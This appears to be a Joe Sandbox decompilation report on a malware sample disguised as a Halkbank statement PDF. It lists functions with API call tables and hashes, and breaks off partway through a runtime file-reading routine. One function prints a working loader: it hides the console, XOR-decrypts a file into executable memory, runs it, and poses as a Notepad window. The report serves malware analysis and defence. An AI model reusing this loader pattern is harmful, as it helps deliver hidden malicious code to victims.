Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: 2f06b96f93541eceebcae48a9adfe7aedd37cb678349478f8cad11de2473fd3e
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 0BF0F631104054FFDB12DFA4CD00D9EBBA8EF06350B2640BAE841FB321D674DE11A798

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vokkqsp.exePID: 1240, Parent PID: 2064COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.2%
Total number of Nodes:	571
Total number of Limit Nodes:	11

Executed Functions

Function 00403345 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00403345() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00403351); // executed
				return _t1;
			}

0x0040334a
0x00403350

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00003351,00402B17), ref: 0040334A

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 75e1f27f08a58f73f2b960698ae03c87e0f3631678d6c68d709b9a0021c32e73
Instruction ID: 693c1ceddf53a2abd93a6b5a00366d95ac8d6255ecc5c87207acbc9a51383e2e
Opcode Fuzzy Hash: 75e1f27f08a58f73f2b960698ae03c87e0f3631678d6c68d709b9a0021c32e73
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 004024CF Relevance: 47.4, APIs: 25, Strings: 2, Instructions: 174
windowregistrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004024CF(struct HWND__* __eax, void* __ecx, void* __edx, intOrPtr _a8) {
				struct _WNDCLASSEXW _v52;
				struct tagMONITORINFO _v100;
				struct tagMSG _v128;
				void* __edi;
				void* _t32;
				long _t34;
				void* _t36;
				char* _t41;
				int _t43;
				struct HMONITOR__* _t48;
				int _t56;
				int _t58;
				int _t60;
				intOrPtr _t65;
				void* _t69;
				long _t70;
				signed int _t75;
				int _t76;
				void* _t78;
				int _t79;
				void* _t81;
				void* _t83;
				struct HACCEL__* _t85;
				void* _t87;
				signed int _t94;

				_t78 = __edx;
				__imp__GetConsoleWindow(_t81, _t87, _t69); // executed
				ShowWindow(__eax, 0); // executed
				_t32 = E0040B316( *((intOrPtr*)(_a8 + 4)), "rb"); // executed
				_t88 = _t32;
				E0040B75E(_t78, 0, _t32, 0, 2); // executed
				_t34 = E0040B031(_t78, 0, _t32); // executed
				_t70 = _t34; // executed
				E0040B75E(_t78, 0, _t88, 0, 0); // executed
				_t36 = VirtualAlloc(0, _t70, 0x3000, 0x40); // executed
				_t83 = _t36;
				E0040B9BF(_t83, _t70, 1, _t88); // executed
				_t75 = 0;
				if(_t70 == 0) {
					L2:
					 *_t83(); // executed
					__imp__#17();
					RegisterWindowMessageW(L"commdlg_FindReplace");
					E00403D00(_t83, 0x44cf00, 0, 0x11f4);
					 *0x44cf00 = 0;
					_t41 =  &_v52;
					_t79 = 0x30;
					_t76 = _t79;
					do {
						 *_t41 = 0;
						_t41 = _t41 + 1;
						_t76 = _t76 - 1;
					} while (_t76 != 0);
					_v52.cbSize = _t79;
					_v52.lpfnWndProc = E004024CA;
					_v52.hInstance = 0;
					_v52.hIcon = LoadIconW(0, 0x300);
					_t43 = GetSystemMetrics(0x32);
					_v52.hIconSm = LoadImageW( *0x44cf00, 0x300, 1, GetSystemMetrics(0x31), _t43, 0x8000);
					_v52.hCursor = LoadCursorW(0, 0x7f00);
					_v52.hbrBackground = 6;
					_v52.lpszMenuName = 0x201;
					_v52.lpszClassName = L"Notepad";
					_t48 = RegisterClassExW( &_v52);
					if(_t48 != 0) {
						__imp__MonitorFromRect(0x44cec0, 1);
						_v100.cbSize = 0x28;
						GetMonitorInfoW(_t48,  &_v100);
						__eflags =  *0x44cf04; // 0x0
						if(__eflags != 0) {
							E00401353();
							ShowWindow( *0x44cf04, 0);
							UpdateWindow( *0x44cf04);
							DragAcceptFiles( *0x44cf04, 1);
							GetCommandLineW();
							_t85 = LoadAcceleratorsW(0, 0x203);
							while(1) {
								_t56 = GetMessageW( &_v128, 0, 0, 0);
								__eflags = _t56;
								if(_t56 == 0) {
									break;
								}
								_t58 = IsDialogMessageW( *0x44cf08,  &_v128);
								__eflags = _t58;
								if(_t58 == 0) {
									_t60 = TranslateAcceleratorW( *0x44cf04, _t85,  &_v128);
									__eflags = _t60;
									if(_t60 == 0) {
										TranslateMessage( &_v128);
										DispatchMessageW( &_v128);
									}
								}
							}
							_t65 = _v128.wParam;
							goto L14;
						}
						ExitProcess(1);
					} else {
						_t65 = 0;
						L14:
						return _t65;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					asm("cdq");
					_t94 = 0xc;
					 *(_t83 + _t75) =  *(_t83 + _t75) ^  *("248058040134" + _t75 % _t94);
					_t75 = _t75 + 1;
				} while (_t75 < _t70);
				goto L2;
			}

0x004024cf
0x004024de
0x004024e5
0x004024f6
0x004024fd
0x00402501
0x0040250a
0x00402513
0x00402515
0x00402526
0x0040252f
0x00402533
0x0040253b
0x0040253f
0x00402557
0x00402557
0x00402559
0x00402564
0x00402577
0x0040257f
0x00402585
0x0040258b
0x0040258c
0x0040258e
0x0040258e
0x00402590
0x00402591
0x00402591
0x0040259b
0x004025a1
0x004025a9
0x004025c0
0x004025c4
0x004025e3
0x004025f0
0x004025f9
0x00402601
0x00402609
0x00402611
0x0040261a
0x00402629
0x00402633
0x0040263d
0x00402643
0x00402649
0x00402652
0x0040265e
0x0040266a
0x00402677
0x0040267d
0x00402695
0x004026da
0x004026e2
0x004026e4
0x004026e6
0x00000000
0x00000000
0x004026a4
0x004026aa
0x004026ac
0x004026ba
0x004026c0
0x004026c2
0x004026c9
0x004026d4
0x004026d4
0x004026c2
0x004026ac
0x004026e8
0x00000000
0x004026e8
0x0040264c
0x0040261c
0x0040261c
0x004026ec
0x004026f2
0x004026f2
0x00000000
0x00000000
0x00000000
0x00402541
0x00402541
0x00402545
0x00402546
0x0040254f
0x00402552
0x00402553
0x00000000

APIs

GetConsoleWindow.KERNELBASE(00000000,00000000,00000000,00000001), ref: 004024DE
ShowWindow.USER32(00000000), ref: 004024E5
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000040), ref: 00402526
__fread_nolock.LIBCMT ref: 00402533
#17.COMCTL32 ref: 00402557
RegisterWindowMessageW.USER32(commdlg_FindReplace), ref: 00402564
LoadIconW.USER32 ref: 004025AD
GetSystemMetrics.USER32 ref: 004025C4
GetSystemMetrics.USER32 ref: 004025C9
LoadImageW.USER32 ref: 004025D7
LoadCursorW.USER32(00000000,00007F00), ref: 004025EA
RegisterClassExW.USER32 ref: 00402611
MonitorFromRect.USER32(0044CEC0,00000001), ref: 00402629
GetMonitorInfoW.USER32(00000000,?), ref: 0040263D
ExitProcess.KERNEL32 ref: 0040264C

Part of subcall function 00401353: SetWindowTextW.USER32(00447A00), ref: 00401368
Part of subcall function 00401353: SendMessageW.USER32(000000CD,00000000,00000000), ref: 0040137D
Part of subcall function 00401353: SetFocus.USER32(?,00402657,?,?,?,?,?,?,?), ref: 00401389

ShowWindow.USER32(00000000,?,?,?,?,?,?,?), ref: 0040265E
UpdateWindow.USER32 ref: 0040266A
DragAcceptFiles.SHELL32(00000001), ref: 00402677
GetCommandLineW.KERNEL32(?,?,?,?,?,?,?), ref: 0040267D
LoadAcceleratorsW.USER32 ref: 00402689
IsDialogMessageW.USER32(?), ref: 004026A4
TranslateAcceleratorW.USER32(00000000,?), ref: 004026BA
TranslateMessage.USER32(?), ref: 004026C9
DispatchMessageW.USER32 ref: 004026D4
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004026E2

Strings

commdlg_FindReplace, xrefs: 0040255F
(, xrefs: 00402633

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: MessageWindow$Load$MetricsMonitorRegisterShowSystemTranslate$AcceleratorAcceleratorsAcceptAllocClassCommandConsoleCursorDialogDispatchDragExitFilesFocusFromIconImageInfoLineProcessRectSendTextUpdateVirtual__fread_nolock
String ID: ($commdlg_FindReplace
API String ID: 590276011-4049073185
Opcode ID: 3ec7fc1df8c06d510192b67d14fd7e857c72f94fb28c3b3c5de5b177c0a7bf71
Instruction ID: d76bf5b5b0b4f890fcbd778f44d24d7d84c7179325af6b92a7657723f8af365a
Opcode Fuzzy Hash: 3ec7fc1df8c06d510192b67d14fd7e857c72f94fb28c3b3c5de5b177c0a7bf71
Instruction Fuzzy Hash: 6151ACB9505300AFE3106FA29C8DE6B7FACFB86754F04443AFA45921E1D7B88815CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0042E6CB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 39%

			E0042E6CB(void* __ecx, void* __edx, void* __eflags, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				void* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				intOrPtr _v40;
				signed int _v48;
				void _v52;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				void* _t122;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t162;
				intOrPtr _t178;
				void* _t188;
				signed int* _t189;
				signed int _t191;
				signed int _t196;
				signed int _t202;
				signed int _t205;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t224;
				signed int _t226;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				signed int _t238;
				void* _t239;
				signed char _t242;
				signed int _t243;
				intOrPtr _t247;
				void* _t248;
				void* _t255;
				void* _t265;
				void* _t266;
				signed int _t267;
				signed int _t270;
				signed int _t271;
				signed int _t274;
				void* _t276;
				void* _t278;
				void* _t279;
				void* _t281;
				void* _t282;
				void* _t284;
				void* _t288;

				_t239 = __edx;
				_t266 = E0042E2DA(_t188, __ecx, _t248, _t265,  &_v76, _a16, _a20, _a24);
				_t191 = 6;
				memcpy( &_v52, _t266, _t191 << 2);
				_t278 = _t276 + 0x1c;
				_t267 = _t266 | 0xffffffff;
				if(_v40 != _t267) {
					_t114 = E00426609(_t188, _t239, __eflags);
					_t189 = _a8;
					 *_t189 = _t114;
					__eflags = _t114 - _t267;
					if(_t114 != _t267) {
						_v24 = _v24 & 0x00000000;
						_v28 = 0xc;
						_t279 = _t278 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v20 =  !(_a16 >> 7) & 1;
						_push( &_v28);
						_push(_a12);
						memcpy(_t279,  &_v52, 1 << 2);
						_t196 = 0;
						_t122 = E0042E1EC(); // executed
						_t255 = _t122;
						_t281 = _t279 + 0x2c;
						_v12 = _t255;
						__eflags = _t255 - 0xffffffff;
						if(_t255 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t255); // executed
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v52;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v52 | 0x00000040;
								}
								_v5 = _t124;
								E00426554(_t196,  *_t189, _t255);
								_t242 = _v5 | 0x00000001;
								_v16 = _t242;
								_v52 = _t242;
								 *( *((intOrPtr*)(0x44c9f8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) = _t242;
								_t202 =  *_t189;
								_t204 = (_t202 & 0x0000003f) * 0x38;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x44c9f8 + (_t202 >> 6) * 4)) + 0x29 + (_t202 & 0x0000003f) * 0x38)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L22:
									_v5 = 0;
									_push( &_v5);
									_push(_a16);
									_t282 = _t281 - 0x18;
									_t205 = 6;
									_push( *_t189);
									memcpy(_t282,  &_v52, _t205 << 2);
									_t134 = E0042DF9E(_t189,  &_v52 + _t205 + _t205,  &_v52);
									_t243 =  *_t189;
									_t270 = _t134;
									_t284 = _t282 + 0x30;
									__eflags = _t270;
									if(_t270 == 0) {
										 *((char*)( *((intOrPtr*)(0x44c9f8 + (_t243 >> 6) * 4)) + 0x29 + (_t243 & 0x0000003f) * 0x38)) = _v5;
										 *( *((intOrPtr*)(0x44c9f8 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x44c9f8 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x44c9f8 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38)) & 0x00000001;
										__eflags = _v16 & 0x00000048;
										if((_v16 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t224 =  *_t189;
												_t226 = (_t224 & 0x0000003f) * 0x38;
												_t162 =  *((intOrPtr*)(0x44c9f8 + (_t224 >> 6) * 4));
												_t87 = _t162 + _t226 + 0x28;
												 *_t87 =  *(_t162 + _t226 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t271 = _v48;
										__eflags = (_t271 & 0xc0000000) - 0xc0000000;
										if((_t271 & 0xc0000000) != 0xc0000000) {
											L32:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L32;
											}
											CloseHandle(_v12);
											_v48 = _t271 & 0x7fffffff;
											_t214 = 6;
											_push( &_v28);
											_push(_a12);
											memcpy(_t284 - 0x18,  &_v52, _t214 << 2);
											_t247 = E0042E1EC();
											__eflags = _t247 - 0xffffffff;
											if(_t247 != 0xffffffff) {
												_t216 =  *_t189;
												_t218 = (_t216 & 0x0000003f) * 0x38;
												__eflags = _t218;
												 *((intOrPtr*)( *((intOrPtr*)(0x44c9f8 + (_t216 >> 6) * 4)) + _t218 + 0x18)) = _t247;
												goto L32;
											}
											E00420DE2(GetLastError());
											 *( *((intOrPtr*)(0x44c9f8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x44c9f8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
											E0042671C( *_t189);
											L10:
											goto L2;
										}
									}
									_push(_t243);
									goto L21;
								} else {
									_t270 = E0042E4E7(_t204,  *_t189);
									__eflags = _t270;
									if(_t270 == 0) {
										goto L22;
									}
									_push( *_t189);
									L21:
									E00435D28();
									return _t270;
								}
							}
							_t274 = GetLastError();
							E00420DE2(_t274);
							 *( *((intOrPtr*)(0x44c9f8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x44c9f8 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
							CloseHandle(_t255);
							__eflags = _t274;
							if(_t274 == 0) {
								 *((intOrPtr*)(E00420E3C())) = 0xd;
							}
							goto L2;
						}
						_t233 = _v48;
						__eflags = (_t233 & 0xc0000000) - 0xc0000000;
						if((_t233 & 0xc0000000) != 0xc0000000) {
							L9:
							_t234 =  *_t189;
							_t236 = (_t234 & 0x0000003f) * 0x38;
							_t178 =  *((intOrPtr*)(0x44c9f8 + (_t234 >> 6) * 4));
							_t33 = _t178 + _t236 + 0x28;
							 *_t33 =  *(_t178 + _t236 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E00420DE2(GetLastError());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t288 = _t281 - 0x18;
						_v48 = _t233 & 0x7fffffff;
						_t238 = 6;
						_push( &_v28);
						_push(_a12);
						memcpy(_t288,  &_v52, _t238 << 2);
						_t196 = 0;
						_t255 = E0042E1EC();
						_t281 = _t288 + 0x2c;
						_v12 = _t255;
						__eflags = _t255 - 0xffffffff;
						if(_t255 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E00420E29()) =  *_t184 & 0x00000000;
						 *_t189 = _t267;
						 *((intOrPtr*)(E00420E3C())) = 0x18;
						goto L2;
					}
				} else {
					 *(E00420E29()) =  *_t186 & 0x00000000;
					 *_a8 = _t267;
					L2:
					return  *((intOrPtr*)(E00420E3C()));
				}
			}

0x0042e6cb
0x0042e6ee
0x0042e6f2
0x0042e6f3
0x0042e6f3
0x0042e6f5
0x0042e6fb
0x0042e716
0x0042e71b
0x0042e71e
0x0042e720
0x0042e722
0x0042e741
0x0042e748
0x0042e74f
0x0042e752
0x0042e75e
0x0042e761
0x0042e769
0x0042e76a
0x0042e76d
0x0042e76d
0x0042e76f
0x0042e774
0x0042e776
0x0042e779
0x0042e781
0x0042e784
0x0042e7f1
0x0042e7f2
0x0042e7f8
0x0042e7fa
0x0042e843
0x0042e846
0x0042e84f
0x0042e852
0x0042e855
0x0042e857
0x0042e857
0x0042e857
0x0042e848
0x0042e84b
0x0042e84b
0x0042e85c
0x0042e85f
0x0042e86b
0x0042e870
0x0042e87c
0x0042e886
0x0042e88a
0x0042e894
0x0042e897
0x0042e8a2
0x0042e8a7
0x0042e8c6
0x0042e8c9
0x0042e8cd
0x0042e8ce
0x0042e8d4
0x0042e8d9
0x0042e8dc
0x0042e8de
0x0042e8e0
0x0042e8e5
0x0042e8e7
0x0042e8e9
0x0042e8ec
0x0042e8ee
0x0042e908
0x0042e92c
0x0042e930
0x0042e934
0x0042e936
0x0042e93a
0x0042e93c
0x0042e946
0x0042e949
0x0042e950
0x0042e950
0x0042e950
0x0042e950
0x0042e93a
0x0042e955
0x0042e961
0x0042e963
0x0042e9ee
0x0042e9ee
0x00000000
0x0042e969
0x0042e969
0x0042e96d
0x00000000
0x00000000
0x0042e972
0x0042e984
0x0042e98c
0x0042e98f
0x0042e990
0x0042e993
0x0042e99a
0x0042e99f
0x0042e9a2
0x0042e9d6
0x0042e9e0
0x0042e9e0
0x0042e9ea
0x00000000
0x0042e9ea
0x0042e9ab
0x0042e9c4
0x0042e9cb
0x0042e7eb
0x00000000
0x0042e7eb
0x0042e963
0x0042e8f0
0x00000000
0x0042e8a9
0x0042e8b0
0x0042e8b3
0x0042e8b5
0x00000000
0x00000000
0x0042e8b7
0x0042e8b9
0x0042e8b9
0x00000000
0x0042e8bf
0x0042e8a7
0x0042e802
0x0042e805
0x0042e820
0x0042e825
0x0042e82b
0x0042e82d
0x0042e838
0x0042e838
0x00000000
0x0042e82d
0x0042e786
0x0042e78d
0x0042e78f
0x0042e7c6
0x0042e7c6
0x0042e7d0
0x0042e7d3
0x0042e7da
0x0042e7da
0x0042e7da
0x0042e7e6
0x00000000
0x0042e7e6
0x0042e791
0x0042e795
0x00000000
0x00000000
0x0042e797
0x0042e7a6
0x0042e7ab
0x0042e7ae
0x0042e7af
0x0042e7b2
0x0042e7b2
0x0042e7b9
0x0042e7bb
0x0042e7be
0x0042e7c1
0x0042e7c4
0x00000000
0x00000000
0x00000000
0x0042e724
0x0042e729
0x0042e72c
0x0042e733
0x00000000
0x0042e733
0x0042e6fd
0x0042e702
0x0042e708
0x0042e70a
0x00000000
0x0042e70f

APIs

Part of subcall function 0042E1EC: CreateFileW.KERNELBASE(00000000,?,?,tB,?,?,00000000,?,0042E774,?,0000000C), ref: 0042E209

GetLastError.KERNEL32 ref: 0042E7DF
__dosmaperr.LIBCMT ref: 0042E7E6
GetFileType.KERNELBASE(00000000), ref: 0042E7F2
GetLastError.KERNEL32 ref: 0042E7FC
__dosmaperr.LIBCMT ref: 0042E805
CloseHandle.KERNEL32(00000000), ref: 0042E825
CloseHandle.KERNEL32(00421548), ref: 0042E972
GetLastError.KERNEL32 ref: 0042E9A4
__dosmaperr.LIBCMT ref: 0042E9AB

Strings

H, xrefs: 0042E930

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 0f09a9e75157b84e4068a5192c67b3c07eff6167c1ac69e1b19006744794f239
Instruction ID: ee299e0807c72f28b290fe01eb081898be5767cc198c08257fd44d168084831e
Opcode Fuzzy Hash: 0f09a9e75157b84e4068a5192c67b3c07eff6167c1ac69e1b19006744794f239
Instruction Fuzzy Hash: D7A13971B001649FCF199F69EC91BAE3BA1AB47314F58015FF8119B391C7398C52CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004207EC Relevance: 9.3, APIs: 6, Instructions: 298
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004207EC(signed int _a4, void* _a8, unsigned int _a12) {
				signed int _v5;
				signed int _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				void* _v28;
				char _v32;
				void* _v36;
				long _v40;
				signed int* _t132;
				signed int _t134;
				signed int _t135;
				long _t138;
				signed int _t141;
				signed int _t143;
				signed char _t145;
				intOrPtr _t153;
				long _t155;
				signed int _t156;
				signed int _t157;
				signed int _t159;
				long _t160;
				intOrPtr _t165;
				signed int _t166;
				intOrPtr _t168;
				signed int _t170;
				signed int _t172;
				char _t174;
				char _t179;
				char _t184;
				signed char _t191;
				long _t197;
				signed int _t200;
				intOrPtr _t203;
				long _t204;
				signed int _t205;
				unsigned int _t208;
				signed int _t210;
				signed int _t216;
				signed char _t217;
				long _t218;
				long _t219;
				void* _t220;
				signed int _t221;
				char* _t223;
				char* _t224;
				char* _t225;
				signed int _t230;
				signed int _t231;
				void* _t235;
				void* _t237;
				void* _t238;
				void* _t239;

				_t200 = _a4;
				_t238 = _t237 - 0x24;
				if(_t200 != 0xfffffffe) {
					__eflags = _t200;
					if(_t200 < 0) {
						L60:
						_t132 = E00420E29();
						 *_t132 =  *_t132 & 0x00000000;
						__eflags =  *_t132;
						 *((intOrPtr*)(E00420E3C())) = 9;
						L61:
						_t134 = E0041F16A();
						goto L62;
					}
					__eflags = _t200 -  *0x44cbf8; // 0x40
					if(__eflags >= 0) {
						goto L60;
					}
					_t216 = _t200 >> 6;
					_t230 = (_t200 & 0x0000003f) * 0x38;
					_v12 = _t216;
					_v32 = 1;
					_t138 =  *((intOrPtr*)(0x44c9f8 + _t216 * 4));
					_v24 = _t138;
					_v20 = _t230;
					_t217 =  *((intOrPtr*)(_t138 + _t230 + 0x28));
					_v5 = _t217;
					__eflags = 1 & _t217;
					if((1 & _t217) == 0) {
						goto L60;
					}
					_t218 = _a12;
					__eflags = _t218 - 0x7fffffff;
					if(_t218 <= 0x7fffffff) {
						__eflags = _t218;
						if(_t218 == 0) {
							L59:
							_t135 = 0;
							goto L63;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L59;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t141 =  *((intOrPtr*)(_t138 + _t230 + 0x29));
						_v5 = _t141;
						_v28 =  *((intOrPtr*)(_t138 + _t230 + 0x18));
						_t235 = 0;
						_t143 = _t141 - 1;
						__eflags = _t143;
						if(_t143 == 0) {
							_t145 =  !_t218;
							__eflags = 1 & _t145;
							if((1 & _t145) == 0) {
								L14:
								 *(E00420E29()) =  *_t146 & _t235;
								 *((intOrPtr*)(E00420E3C())) = 0x16;
								E0041F16A();
								goto L40;
							} else {
								_t219 = _t218 >> 1;
								_t197 = 4;
								__eflags = _t219 - 1;
								if(_t219 >= 1) {
									_t197 = _t219;
								}
								_t235 = E00410766(_t197);
								E0041072C(0);
								E0041072C(0);
								_t239 = _t238 + 0xc;
								_v16 = _t235;
								__eflags = _t235;
								if(_t235 != 0) {
									_t153 = E0041F88F(_t219, _a4, 0, 0, 1);
									_t238 = _t239 + 0x10;
									_t203 =  *((intOrPtr*)(0x44c9f8 + _v12 * 4));
									 *((intOrPtr*)(_t230 + _t203 + 0x20)) = _t153;
									 *(_t230 + _t203 + 0x24) = _t219;
									_t220 = _t235;
									_t155 =  *((intOrPtr*)(0x44c9f8 + _v12 * 4));
									L22:
									_v24 = _t155;
									L23:
									_t204 = _v24;
									_t230 = 0;
									_t156 = _v20;
									_v36 = _t220;
									__eflags =  *(_t156 + _t204 + 0x28) & 0x00000048;
									_t205 = _a4;
									if(( *(_t156 + _t204 + 0x28) & 0x00000048) != 0) {
										_t174 =  *((intOrPtr*)(_t156 + _v24 + 0x2a));
										_t223 = _v16;
										__eflags = _t174 - 0xa;
										if(_t174 != 0xa) {
											__eflags = _t197;
											if(_t197 != 0) {
												_t230 = 1;
												 *_t223 = _t174;
												_t224 = _t223 + 1;
												_t197 = _t197 - 1;
												__eflags = _v5;
												_v16 = _t224;
												 *((char*)(_v20 +  *((intOrPtr*)(0x44c9f8 + _v12 * 4)) + 0x2a)) = 0xa;
												_t205 = _a4;
												if(_v5 != 0) {
													_t179 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x44c9f8 + _v12 * 4)) + 0x2b));
													_t205 = _a4;
													__eflags = _t179 - 0xa;
													if(_t179 != 0xa) {
														__eflags = _t197;
														if(_t197 != 0) {
															 *_t224 = _t179;
															_t225 = _t224 + 1;
															_t197 = _t197 - 1;
															__eflags = _v5 - 1;
															_v16 = _t225;
															_t230 = 2;
															 *((char*)(_v20 +  *((intOrPtr*)(0x44c9f8 + _v12 * 4)) + 0x2b)) = 0xa;
															_t205 = _a4;
															if(_v5 == 1) {
																_t184 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x44c9f8 + _v12 * 4)) + 0x2c));
																_t205 = _a4;
																__eflags = _t184 - 0xa;
																if(_t184 != 0xa) {
																	__eflags = _t197;
																	if(_t197 != 0) {
																		 *_t225 = _t184;
																		_t197 = _t197 - 1;
																		__eflags = _t197;
																		_v16 = _t225 + 1;
																		_t230 = 3;
																		 *((char*)(_v20 +  *((intOrPtr*)(0x44c9f8 + _v12 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t157 = E0042D86F(_t205);
									__eflags = _t157;
									if(_t157 == 0) {
										L43:
										_v32 = 0;
										L44:
										_t198 = _v16;
										_t159 = ReadFile(_v28, _v16, _t197,  &_v24, 0); // executed
										__eflags = _t159;
										if(_t159 == 0) {
											L55:
											_t160 = GetLastError();
											_t230 = 5;
											__eflags = _t160 - _t230;
											if(_t160 != _t230) {
												__eflags = _t160 - 0x6d;
												if(_t160 != 0x6d) {
													L39:
													E00420DE2(_t160);
													goto L40;
												}
												_t231 = 0;
												goto L41;
											}
											 *((intOrPtr*)(E00420E3C())) = 9;
											 *(E00420E29()) = _t230;
											goto L40;
										}
										_t208 = _a12;
										__eflags = _v24 - _t208;
										if(_v24 > _t208) {
											goto L55;
										}
										_t231 = _t230 + _v24;
										__eflags = _t231;
										L47:
										_t221 = _v20;
										_t165 =  *((intOrPtr*)(0x44c9f8 + _v12 * 4));
										__eflags =  *((char*)(_t221 + _t165 + 0x28));
										if( *((char*)(_t221 + _t165 + 0x28)) < 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v32;
												_push(_t231 >> 1);
												_push(_v36);
												_push(_a4);
												if(_v32 == 0) {
													_t166 = E00420316();
												} else {
